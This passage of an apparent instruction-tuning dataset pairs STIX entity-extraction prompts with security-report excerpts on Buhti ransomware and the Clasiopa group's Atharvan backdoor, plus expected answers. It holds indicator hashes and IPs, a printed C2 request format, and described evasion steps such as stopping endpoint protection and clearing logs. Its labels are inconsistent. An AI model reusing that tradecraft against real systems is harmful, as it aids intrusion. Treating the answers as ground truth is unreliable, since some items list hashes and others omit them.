code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nProtection/Mitigation\nFor the latest protection updates, please visit the Symantec Protection Bulletin.\n",
    "output": "<entities>Symantec</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nVulnerability exploitation\nRecent Buhti attacks exploited a recently discovered vulnerability in PaperCut NG and MF (CVE-2023-27350). The exploit allows an attacker to bypass authentication and remotely execute code. The vulnerability was disclosed and patched by PaperCut on March 15, 2023, and in recent weeks multiple threat actors have begun utilizing the exploit against unpatched systems.\nThe attackers exploited the vulnerability in order to install Cobalt Strike, Meterpreter, Sliver, AnyDesk, and ConnectWise. The tools were leveraged to steal data from, and deliver the ransomware payload to, multiple computers on the targeted network.\nBlacktail appears quick to utilise new exploits. In February, they were reported to be exploiting a vulnerability in IBM\u2019s Aspera Faspex file-exchange application (CVE-2022-47986).\n",
    "output": "<entities>AnyDesk|Buhti|Blacktail|Cobalt Strike|PaperCut|Meterpreter|CVE-2023-27350|PaperCut NG|ConnectWise|CVE-2022-47986|Sliver</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nBuhti: New Ransomware Operation Relies on Repurposed Payloads\nAttackers use rebranded variants of leaked LockBit and Babuk ransomware payloads but use own custom exfiltration tool.\nA relatively new ransomware operation calling itself Buhti appears to be eschewing developing its own payload and is instead utilizing variants of the leaked LockBit and Babuk ransomware families to attack Windows and Linux systems.\nWhile the group doesn\u2019t develop its own ransomware, it does utilize what appears to be one custom-developed tool, an information stealer designed to search for and archive specified file types.\nBuhti, which first came to public attention in February 2023, was initially reported to be attacking Linux computers. However, Symantec\u2019s Threat Hunter Team has also uncovered attempts to attack Windows computers on compromised networks.\nThe group appears to be quick to exploit recently disclosed vulnerabilities, with one recent attack exploiting the recently patched PaperCut vulnerability. Since Buhti hasn\u2019t been linked to any known cyber-crime group, Symantec has assigned the actor name Blacktail to its operators.\n",
    "output": "<entities>Buhti|Symantec|Windows|Blacktail|Threat Hunter Team|Linux|LockBit|PaperCut|Babuk</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nSeeding malicious torrents\nVictims are also used to seed both the torrents used by the malware and the malicious torrents that help spread it. Infected hosts get a list of magnet URIs from %C&C%/magnets, download them all and keep seeding them. This ensures that these files are widely available for others to download, which helps speed up the downloads and provides redundancy.\n",
    "output": "<entities>C&C</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n063fcedd3089e3cea8a7e07665ae033ba765b51a6dc1e7f54dde66a79c67e1e7 - Buhti (Windows)\neda0328bfd45d85f4db5dbb4340f38692175a063b7321b49b2c8ebae3ab2868c - Buhti (Linux)\ne5d65e826b5379ca47a371505678bca6071f2538f98b5fef9e33b45da9c06206 - Buhti (Linux)\nd65225dc56d8ff0ea2205829c21b5803fcb03dc57a7e9da5062cbd74e1a6b7d6 - Buhti (Linux)\nd259be8dc016d8a2d9b89dbd7106e22a1df2164d84f80986baba5e9a51ed4a65 - Buhti (Linux)\n8b5c261a2fdaf9637dada7472b1b5dd1d340a47a00fe7c39a79cf836ef77e441 - Buhti (Linux)\n898d57b312603f091ff1a28cb2514a05bd9f0eb55ace5d6158cc118d1e37070a - Buhti (Linux)\n515777b87d723ebd6ffd5b755d848bb7d7eb50fc85b038cf25d69ca7733bd855 - Buhti (Linux)\n4dc407b28474c0b90f0c5173de5c4f1082c827864f045c4571890d967eadd880 - Buhti (Linux)\n22e74756935a2720eadacf03dc8fe5e7579f354a6494734e2183095804ef19fe - Buhti (Linux)\n18a79c8a97dcfff57e4984aa7e74aa6ded22af8e485e807b34b7654d6cf69eef - Buhti (Linux)\n01b09b554c30675cc83d4b087b31f980ba14e9143d387954df484894115f82d4 - Buhti (Linux)\n7eabd3ba288284403a9e041a82478d4b6490bc4b333d839cc73fa665b211982c - Buhti (Linux)\n287c07d78cafc97fb4b7ef364a228b708d31e8fe8e9b144f7db7d986a1badd52 - Buhti (Linux)\n32e815ef045a0975be2372b85449b25bd7a7c5a497c3facc2b54bcffcbb0041c - Cobalt Strike Beacon\n5b3627910fe135475e48fd9e0e89e5ad958d3d500a0b1b5917f592dc6503ee72 - Cobalt Strike Beacon\nd59df9c859ccd76c321d03702f0914debbadc036e168e677c57b9dcc16e980cb - Cobalt Strike Beacon\nde052ce06fea7ae3d711654bc182d765a3f440d2630e700e642811c89491df72 - Cobalt Strike Beacon\n65c91e22f5ce3133af93b69d8ce43de6b6ccac98fc8841fd485d74d30c2dbe7b - Meterpreter\n8041b82b8d0a4b93327bc8f0b71672b0e8f300dc7849d78bb2d72e2e0f147334 - Meterpreter\n8b2cf6af49fc3fb1f33e94ad02bd9e43c3c62ba2cfd25ff3dfc7a29dde2b20f2 - Meterpreter\n97378d58815a1b87f07beefb24b40c5fb57f8cce649136ff57990b957aa9d56a \u2013 Meterpreter\nc33e56318e574c97521d14d68d24b882ffb0ed65d96203970b482d8b2c332351 - Meterpreter\n9b8adde838c8ea2479b444ed0bb8c53b7e01e7460934a6f2e797de58c3a6a8bf - Possible Meterpreter\n9f0c35cc7aab2984d88490afdb515418306146ca72f49edbfbd85244e63cfabd - Exfiltration tool\nca6abfa37f92f45e1a69161f5686f719aaa95d82ad953d6201b0531fb07f0937 - Possible exfiltration tool\nbdfac069017d9126b1ad661febfab7eb1b8e70af1186a93cb4aff93911183f24 - Sliver\n91.215.85.183\n81.161.229.120\n",
    "output": "<entities>Buhti|Symantec|Windows|eda0328bfd45d85f4db5dbb4340f38692175a063b7321b49b2c8ebae3ab2868c|81.161.229.120|063fcedd3089e3cea8a7e07665ae033ba765b51a6dc1e7f54dde66a79c67e1e7|Cobalt Strike|Linux|d59df9c859ccd76c321d03702f0914debbadc036e168e677c57b9dcc16e980cb|8b5c261a2fdaf9637dada7472b1b5dd1d340a47a00fe7c39a79cf836ef77e441|Exfil|22e74756935a2720eadacf03dc8fe5e7579f354a6494734e2183095804ef19fe|7eabd3ba288284403a9e041a82478d4b6490bc4b333d839cc73fa665b211982c|9b8adde838c8ea2479b444ed0bb8c53b7e01e7460934a6f2e797de58c3a6a8bf|c33e56318e574c97521d14d68d24b882ffb0ed65d96203970b482d8b2c332351|18a79c8a97dcfff57e4984aa7e74aa6ded22af8e485e807b34b7654d6cf69eef|97378d58815a1b87f07beefb24b40c5fb57f8cce649136ff57990b957aa9d56a|Exfiltration tool|4dc407b28474c0b90f0c5173de5c4f1082c827864f045c4571890d967eadd880|9f0c35cc7aab2984d88490afdb515418306146ca72f49edbfbd85244e63cfabd|d65225dc56d8ff0ea2205829c21b5803fcb03dc57a7e9da5062cbd74e1a6b7d6|Meterpreter|e5d65e826b5379ca47a371505678bca6071f2538f98b5fef9e33b45da9c06206|91.215.85.183|bdfac069017d9126b1ad661febfab7eb1b8e70af1186a93cb4aff93911183f24|32e815ef045a0975be2372b85449b25bd7a7c5a497c3facc2b54bcffcbb0041c|898d57b312603f091ff1a28cb2514a05bd9f0eb55ace5d6158cc118d1e37070a|de052ce06fea7ae3d711654bc182d765a3f440d2630e700e642811c89491df72|8041b82b8d0a4b93327bc8f0b71672b0e8f300dc7849d78bb2d72e2e0f147334|8b2cf6af49fc3fb1f33e94ad02bd9e43c3c62ba2cfd25ff3dfc7a29dde2b20f2|5b3627910fe135475e48fd9e0e89e5ad958d3d500a0b1b5917f592dc6503ee72|287c07d78cafc97fb4b7ef364a228b708d31e8fe8e9b144f7db7d986a1badd52|Sliver|65c91e22f5ce3133af93b69d8ce43de6b6ccac98fc8841fd485d74d30c2dbe7b|ca6abfa37f92f45e1a69161f5686f719aaa95d82ad953d6201b0531fb07f0937|515777b87d723ebd6ffd5b755d848bb7d7eb50fc85b038cf25d69ca7733bd855|d259be8dc016d8a2d9b89dbd7106e22a1df2164d84f80986baba5e9a51ed4a65|01b09b554c30675cc83d4b087b31f980ba14e9143d387954df484894115f82d4</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n5b74b2176b8914b0c4e6215baab9e96d1e9a773803105cf50dac0427fac79c1b \u2013 Backdoor.Atharvan\n8aa6612c95c7cef49709596da43a0f8354f14d8c08128c4cb9b1f37e548f083b \u2013 Backdoor.Atharvan\n95f76a95adcfdd91cb626278006c164dcc46009f61f706426b135cdcfa9598e3 \u2013 Lilith\n940ab006769745b19de5e927d344c4a4f29cae08e716ee0b77115f5f2a2e3328 \u2013 Lilith\n38f0f2d658e09c57fc78698482f2f638843eb53412d860fb3a99bb6f51025b07 \u2013 Lilith\nc94c42177d4f9385b02684777a059660ea36ce6b070c2dba367bf8da484ee275 \u2013 Thumbsender\nf93ddb2377e02b0673aac6d540a558f9e47e611ab6e345a39fd9b1ba9f37cd22 \u2013 Custom Proxy Tool\n3aae54592fe902be0ca1ab29afe5980be3f96888230d5842e93b3ca230f8d18d \u2013 Backdoor\n0550e1731a6aa2546683617bd33311326e7b511a52968d24648ea231da55b7e5 \u2013 Backdoor\n8023b2c1ad92e6c5fec308cfafae3710a5c47b1e3a732257b69c0acf37cb435b \u2013 Hacktool\n1569074db4680a9da6687fb79d33160a72d1e20f605e661cc679eaa7ab96a2cd \u2013 Hacktool\n",
    "output": "<entities>Symantec|Lilith|Hacktool|Atharvan|Thumbsender</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nTools Used\n* Atharvan: Custom developed remote access Trojan (RAT).\n* Lilith: The attackers used modified versions of the publicly available Lilith RAT. The versions used were capable of carrying out the following tasks:\n* Killing the process\n* Restarting the process\n* Modifying the sleep interval\n* Uninstalling the RAT\n* Executing a remote command or PowerShell script\n* Exiting the process\n* Thumbsender: Hacking tool which, when it receives a command from a command-and-control (C&C) server will list file names on the computer and save them in a file called Thumb.db before sending them to a specified IP address.\n* Custom proxy tool.\n",
    "output": "<entities>C&C|PowerShell|Thumb.db|Lilith|Atharvan|Thumbsender</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nAtharvan\nAtharvan is so-named because when the malware is run, it creates a mutex named: \"SAPTARISHI-ATHARVAN-101\" to ensure that only one copy is running.\nIt will then contact a hardcoded C&C server. The hardcoded C&C addresses seen in one of the samples analyzed to date was for Amazon AWS South Korea (Seoul) region, which is not a common location for C&C infrastructure.\nThe C&C communications are formatted as HTTP POST requests where the Host header is hardcoded as \"update.microsoft.com\", e.g.:\n_POST /update.php HTTP/1.1_\n_User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 Edg/84.0.522.52_\n_Host: update.microsoft.com_\n_Content-type: application/x-www-form-urlencoded_\n_Content-length: 46_\n_id=Atharvan &code=101&cid=H[REDACTED]&time=5_\nThe request body includes the following parameters:\n* \"id\": hardcoded string \"Atharvan\"\n* \"code\": represents request purpose, which can be one of:\n* 101: fetches commands\n* 102: sends command outputs or error messages\n* 103: fetches file body to write when processing command 0x12\n* \"cid\": hardcoded string \"H\" followed by the network interface hardware address of the affected computer as 12 hexadecimal digits\n* \"time\": interval between communication attempts\n* \"msg\" (optional): depending on the request purpose as specified using \"code\" parameter:\n* when the \"code\" parameter is 102, it includes output of commands or error messages in encrypted form\n* when the \"code\" parameter is 103, it identifies the file to fetch in non-encrypted form\nWhen encrypting the \"msg\" value, the malware uses the following encryption algorithm:\ndef encrypt(plaintext):\n_return bytes([((2 - byte) & 0xff) for byte in plaintext])_\nThe malware uses its own simplistic HTTP parser to extract the body from the server response. The extracted body is decrypted using the following algorithm:\ndef decrypt(ciphertext):\n_return bytes([((2 - byte) & 0xff) for byte in ciphertext])_\nWhen fetching commands, the malware expects the decrypted body to contain a sequence of strings separated by the \"\\x1A\" character.\nThe first byte of each string specifies the command to execute and the remaining bytes are interpreted as command parameters.\nTable 1. Atharvan commandsCommand  Description\n------\n0x11   Configures interval between communication attempts\n0x12   Downloads arbitrary file from specified control server\n0x15   Runs arbitrary executable and sends its output to the remote attacker\n0x16   Configures communication to use schedule type 0x16\n0x17   Configures communication to use schedule type 0x17\n0x18   Configures communication to use schedule type 0x18\nWhen configuring a communication schedule, the command parameters specify the times and days for the communication attempts. Several different times can be specified, with the hour and minute of the day encoded.\nThe days are interpreted as:\n* No restrictions (communication schedule type 0x16)\n* Bitmask specifying days of month (communication schedule type 0x17)\n* Bitmask specifying days of week (communication schedule type 0x18)\nThis scheduled communication configuration is another unusual feature of the malware and is not commonly seen in malware of this kind.\n",
    "output": "<entities>Windows|C&C|Chrome|Atharvan|Windows NT 10.0|AWS|South Korea|update.php|update.microsoft.com</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nGroup uses distinct toolset but there are few clues to its origins.\nA hitherto unknown attack group has been observed targeting a materials research organization in Asia. The group, which Symantec calls Clasiopa, is characterized by a distinct toolset, which includes one piece of custom malware (Backdoor.Atharvan). At present, there is no firm evidence on where Clasiopa is based or whom it acts on behalf.\n",
    "output": "<entities>Symantec|Clasiopa|Atharvan|Asia</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nClasiopa Tactics, Techniques, and Procedures\nThe infection vector used by Clasiopa is unknown, although there is some evidence to suggest that the attackers gain access through brute force attacks on public facing servers.\nAside from the distinct toolset used, there were a number of attack hallmarks observed:\n* The attackers checked the IP addresses of the computers they were on using: https://ifconfig.me/ip\n* An attempt was made to disable Symantec Endpoint Protection (SEP) by stopping the SepMasterService. The result of this query was checked and then a second attempt was made to disable SEP using \"smc -stop\". Note that any commands attempting to stop SEP will only work if the attacker has administrative credentials and the SEP administrator has disabled anti-tamper protection.\n* The attackers used multiple backdoors to build lists of file names and exfiltrate them. These lists were exfiltrated either in a Thumb.db file or a Zip archive.\n* Sysmon logs were cleared using wsmprovhost.\n* All eventlogs were cleared using PowerShell.\n* A scheduled task named \"network service\" was created to list file names.\nThere is some evidence to suggest that the attackers used two legitimate software packages. One compromised computer was running Agile DGS and Agile FD servers, software developed by Jiangsu. These packages are used for document security and protection in transit. Malicious files were dropped into a folder named \u201cdgs\u201d and one of the backdoors used was renamed from atharvan.exe to agile_update.exe. It is unclear if these software packages are being injected into or installed by the attackers.\nHCL Domino (formerly IBM Domino) was also run on a compromised machine in close proximity to the execution of backdoors, although it is unclear if this was a coincidence or not. However, both the Domino and Agile software appear to be using old certificates and the Agile servers use old vulnerable libraries.\n",
    "output": "<entities>Symantec|PowerShell|Clasiopa|Thumb.db|https://ifconfig.me/ip|ifconfig.me|Agile FD|atharvan.exe|Sysmon|Agile DGS|Symantec Endpoint Protection|wsmprovhost|Jiangsu|Domino|SepMasterService</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nClasiopa: New Group Targets Materials Research\n",
    "output": "<entities>Clasiopa</entities>"
  },
  {
